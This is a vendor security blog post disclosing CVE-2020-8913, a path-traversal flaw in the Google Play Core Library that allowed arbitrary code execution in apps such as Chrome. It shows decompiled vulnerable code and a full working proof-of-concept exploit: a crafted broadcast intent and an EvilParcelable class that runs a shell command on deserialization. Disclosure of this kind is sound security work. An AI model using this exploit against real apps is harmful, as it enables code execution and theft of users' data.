August 28, 2020 / ANDROID, GOOGLE PLAY CORE LIBRARY, CODE EXECUTION Oversecured automatically discovers persistent code execution in the Google Play Core Library The Google Play Core Library is a popular library for Android that allows updates to various parts of an app to be delivered at runtime without the participation of the user, via the Google API. It can also be used to reduce the size of the main apk file by loading resources optimized for a particular device and settings (localization, image dimensions, processor architecture, dynamic modules) instead of storing dozens of different possible versions. The vulnerability we discovered made it possible to add executable modules to any apps using the library, meaning arbitrary code could be executed within them. An attacker who had a malware app installed on the victim’s device could steal users’ login details, passwords, and financial details, and read their mail. Do you want to check your mobile apps for such types of vulnerabilities? Oversecured mobile apps scanner provides an automatic solution that helps to detect vulnerabilities in Android and iOS mobile apps. You can integrate Oversecured into your development process and check every new line of your code to ensure your users are always protected. Start securing your apps by starting a free 2-week trial from Quick Start, or you can book a call with our team or contact us to explore more. Introduction Experts at Oversecured’s scanning kernel development department tested an update on several popular apps and discovered that something interesting had triggered the scanner. In many cases, we uncovered Theft of arbitrary files and Overwriting arbitrary files vulnerabilities in the Google Play Core library’s source code. Below we present a listing of the vulnerability from the report: An exploit was written to steal arbitrary files, and a draft report was written to send to Google. Subsequently, the scope for developing the attack was investigated. As a result, the updated exploit made it possible to substitute executable files and achieve the execution of arbitrary code. The testing took place on the Google Chrome app. Fragment of the vulnerable code The Google Chrome app was decompiled with the deobfuscation option set, and fragments of the resulting code are presented below. An unprotected broadcast receiver in the file com/google/android/play/core/splitinstall/C3748l.java allows third-party apps to send specially crafted intents into it, forcing a vulnerable app to copy arbitrary files to arbitrary locations specified in the parameter split_id which is vulnerable to path-traversal. Registration of the unprotected broadcast receiver in the file com/google/android/play/core/splitinstall/C3748l.java private C3748l(Context context, C3741e eVar) { super(new ae("SplitInstallListenerRegistry"), new IntentFilter("com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService"), context); File com/google/android/play/core/listener/C3718a.java protected C3718a(ae aeVar, IntentFilter intentFilter, Context context) { this.f22595a = aeVar; this.f22596b = intentFilter; // intent filter with action `com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService` this.f22597c = context; } private final void m15347a() { if ((this.f22600f || !this.f22598d.isEmpty()) && this.f22599e == null) { this.f22599e = new C3719b(this, 0); this.f22597c.registerReceiver(this.f22599e, this.f22596b); // registration of unprotected broadcast receiver allows third-party apps installed on the same device to broadcast arbitrary data here. The file com/google/android/play/core/splitinstall/SplitInstallSessionState.java processes the message received public static SplitInstallSessionState m15407a(Bundle bundle) { return new SplitInstallSessionState(bundle.getInt("session_id"), bundle.getInt("status"), bundle.getInt("error_code"), bundle.getLong("bytes_downloaded"), bundle.getLong("total_bytes_to_download"), bundle.getStringArrayList("module_names"), bundle.getStringArrayList("languages"), (PendingIntent) bundle.getParcelable("user_confirmation_intent"), bundle.getParcelableArrayList("split_file_intents")); // `split_file_intents` will be parsed } In the file com/google/android/play/core/internal/ab.java the library copies content from the URI from split_file_intents into the unverified-splits directory under the name split_id, which is subject to path-traversal due to the absence of validation for (Intent next : list) { String stringExtra = next.getStringExtra("split_id"); File a = this.f22543b.mo32067a(stringExtra); // path traversal from `/data/user/0/{package_name}/files/splitcompat/{id}/unverified-splits/` if (!a.exists() && !this.f22543b.mo32067b(stringExtra).exists()) { bufferedInputStream = new BufferedInputStream(new FileInputStream(this.f21840a.getContentResolver().openFileDescriptor(next.getData(), "r").getFileDescriptor())); // data of `split_file_intents` intents fileOutputStream = new FileOutputStream(a); byte[] bArr = new byte[4096]; while (true) { int read = bufferedInputStream.read(bArr); if (read <= 0) { break; } fileOutputStream.write(bArr, 0, read); After further careful research, it emerged that the verified-splits folder contains verified apks with the current app’s signature, which are no longer verified in the future. When a file in that folder starts with a config. prefix, it will be added to the app’s runtime ClassLoader automatically. Using that weakness, the attacker can create a class implementing e.g. the Parcelable interface and containing malicious code and send their instances to the affected app, meaning the createFromParcel() method will be executed in their context during deserialization leading to local code execution. Proof of Concept A Proof of Concept was created for the Google Chrome app: it executes the command chmod -R 777 /data/user/0/com.android.chrome in the context of the vulnerable app. It first launches the app’s main activity, as a result of which an unprotected receiver is registered in the Google Play Core library code. 3 seconds later it sends a command to the receiver, which causes the affected app to be added in its entirety to the default ClassResolver. After 5 seconds the attacking app sends the EvilParcelable object, which automatically executes the command on being deserialized. Deserialization happens automatically, due to the way Android works. When a component receives an Intent, all attached objects are deserialized on receipt of a value or state (the Intent.hasExtra(name) method). public static final String APP = "com.android.chrome"; protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); Intent launchIntent = getPackageManager().getLaunchIntentForPackage(APP); startActivity(launchIntent); new Handler().postDelayed(() -> { Intent split = new Intent(); split.setData(Uri.parse("file://" + getApplicationInfo().sourceDir)); split.putExtra("split_id", "../verified-splits/config.test"); Bundle bundle = new Bundle(); bundle.putInt("status", 3); bundle.putParcelableArrayList("split_file_intents", new ArrayList<Parcelable>(Arrays.asList(split))); Intent intent = new Intent("com.google.android.play.core.splitinstall.receiver.SplitInstallUpdateIntentService"); intent.setPackage(APP); intent.putExtra("session_state", bundle); sendBroadcast(intent); }, 3000); new Handler().postDelayed(() -> { startActivity(launchIntent.putExtra("x", new EvilParcelable())); }, 5000); } Code for the class that executes the command under the attacker’s control on deserialization package oversecured.poc; import android.os.Parcelable; public class EvilParcelable implements Parcelable { public static final Parcelable.Creator<EvilParcelable> CREATOR = new Parcelable.Creator<EvilParcelable>() { public EvilParcelable createFromParcel(android.os.Parcel parcel) { exploit(); return null; } public EvilParcelable[] newArray(int i) { exploit(); return null; } private void exploit() { try { Runtime.getRuntime().exec("chmod -R 777 /data/user/0/" + MainActivity.APP).waitFor(); } catch (Throwable th) { throw new RuntimeException(th); } } }; public int describeContents() { return 0; } public void writeToParcel(android.os.Parcel parcel, int i) {} } Conclusion This vulnerability was assessed by Google as highly dangerous. It meant many popular apps, including Google Chrome, were vulnerable to arbitrary code execution. This could lead to leaks of users’ credentials and financial details, including credit card history; to interception and falsification of their browser history, cookie files, etc. To remove it, developers should update the Google Play Core library to the latest version and users should update all their apps. Timeline 02/26/2020 - Scanner triggered, first exploit to steal arbitrary files created 02/27/2020 - Vulnerability studied in greater detail, exploit to execute arbitrary code created, information sent to Google 04/06/2020 - Google confirmed the vulnerability has been fixed 07/22/2020 - Google assigned CVE-2020-8913 Get access to files Please fill out the form to access the research files. We will send you an email containing them. First Name * Last Name * Email Address * Company * Job Title Cancel Submit Thank you for reaching out An email with the requested files will be sent to the email address you provided shortly. Got It Your message was sent. Thank you! Our specialists will contact you soon. Protect your apps today! It can be challenging to keep track of security issues that appear daily during the app development process. Drop us a line and we'll help you automate this process internally, saving tons of resources with Oversecured. First Name Last Name Corporate Email Company Submit